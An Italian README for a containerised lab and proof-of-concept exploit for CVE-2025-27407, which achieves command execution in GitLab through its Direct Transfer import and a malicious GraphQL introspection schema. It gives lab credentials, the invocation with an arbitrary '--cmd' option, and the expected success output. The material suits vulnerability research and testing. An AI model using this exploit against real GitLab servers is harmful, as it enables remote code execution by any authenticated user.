
Lab locale ed exploit proof-of-concept per CVE-2025-27407, che mira al caricatore dello schema GraphQL introspection di GitLab tramite il percorso HTTP Direct Transfer. Include ambiente containerizzato e script di attivazione automatica.
Laboratorio minimale solo locale per dimostrare che il percorso HTTP Direct Transfer di GitLab raggiunge il caricatore di schema di introspezione vulnerabile di graphql-ruby. Il laboratorio esegue un singolo container GitLab CE vulnerabile; lo script PoC avvia il suo server GitLab sorgente fittizio in-process solo durante il test.
Esegui questo solo su sistemi che possiedi o per cui hai ricevuto esplicita autorizzazione al test.
| File | Scopo |
|---|
lab.sh | Avvia, attende, verifica e pulisce il laboratorio GitLab. |
poc_host_port_cmd.py | PoC monouso: server sorgente fittizio + trigger di login/configurazione/importazione GitLab. |
podmancurlValori predefiniti:
| Elemento | Predefinito |
|---|---|
| Immagine GitLab | docker.io/gitlab/gitlab-ce:16.11.8-ce.0 |
| Container GitLab | cve-27407-gitlab |
| Rete Podman | cve-2025-27407-net |
| Utente root GitLab | root |
| Password root GitLab | Cve27407Password! |
| Marker | /tmp/cve_2025_27407_gitlab_marker |
La porta 8080 è quella predefinita dello script. Se qualcos'altro la sta già usando, usa 18080 come mostrato qui.
cd gitlab-lab
chmod +x lab.sh poc_host_port_cmd.py
GITLAB_HTTP_PORT=18080 GITLAB_SSH_PORT=2225 ./lab.sh up
Apri GitLab all'indirizzo:
http://127.0.0.1:18080
Credenziali di accesso:
root / Cve27407Password!
root è solo l'utente di default del laboratorio. Il trigger del PoC non richiede un account amministratore; qualsiasi utente autenticato che possa creare/importare in un namespace di destinazione può colpire il percorso Direct Transfer vulnerabile. Usa --username e --password per testare con un utente non amministratore.
MARKER=/tmp/cve_2025_27407_gitlab_marker
podman exec cve-27407-gitlab rm -f "$MARKER"
./poc_host_port_cmd.py \
--host 127.0.0.1 \
--port 18080 \
--listen-port 8001 \
--wait-seconds 120 \
--cmd "touch $MARKER"
MARKER="$MARKER" ./lab.sh verify
Segnali attesi:
[*] create/import trigger status=200 final_url=http://127.0.0.1:18080/import/bulk_imports
[{"success":true,...}]
[evil-source] POST /api/graphql introspection -> malicious schema; command='touch ...'
[+] GitLab reached /api/graphql introspection over HTTP
[+] vulnerable: marker file exists inside GitLab container
| Opzione | Scopo | Predefinito |
|---|---|---|
--host | Host GitLab da colpire | Obbligatorio |
--port | Porta HTTP GitLab da colpire | Obbligatorio |
--cmd | Comando eseguito nel runtime GitLab | touch /tmp/cve_2025_27407_gitlab_marker |
--listen-port | Porta locale del server sorgente fittizio | 8001 |
--wait-seconds | Tempo per mantenere attivo il server sorgente fittizio per i worker GitLab asincroni | 90 |
--username | Nome utente GitLab | root |
--password | Password GitLab | Cve27407Password! |
| Variabile | Scopo | Predefinito |
|---|---|---|
GITLAB_HTTP_PORT | Porta HTTP GitLab host/container | 8080 |
GITLAB_SSH_PORT | Porta SSH GitLab host | 2224 |
GITLAB_ROOT_PASSWORD | Password root iniziale | Cve27407Password! |
GITLAB_IMAGE | Immagine GitLab da eseguire | docker.io/gitlab/gitlab-ce:16.11.8-ce.0 |
NETWORK | Nome rete Podman | cve-2025-27407-net |
MARKER | File controllato all'interno del container GitLab | /tmp/cve_2025_27407_gitlab_marker |
TIMEOUT_SECONDS | Timeout di attesa per la prontezza | 1200 |
8080 è occupata, usa GITLAB_HTTP_PORT=18080 per ./lab.sh up.--listen-port con una porta non utilizzata.--wait-seconds o ri-esegui MARKER="$MARKER" ./lab.sh verify.GITLAB_HTTP_PORT=18080 ./lab.sh wait../lab.sh cleanup e ricomincia../lab.sh cleanup
Questo rimuove il container GitLab, eventuali container sorgente fittizi legacy di versioni precedenti del laboratorio e la rete del laboratorio. Non rimuove le immagini Podman scaricate.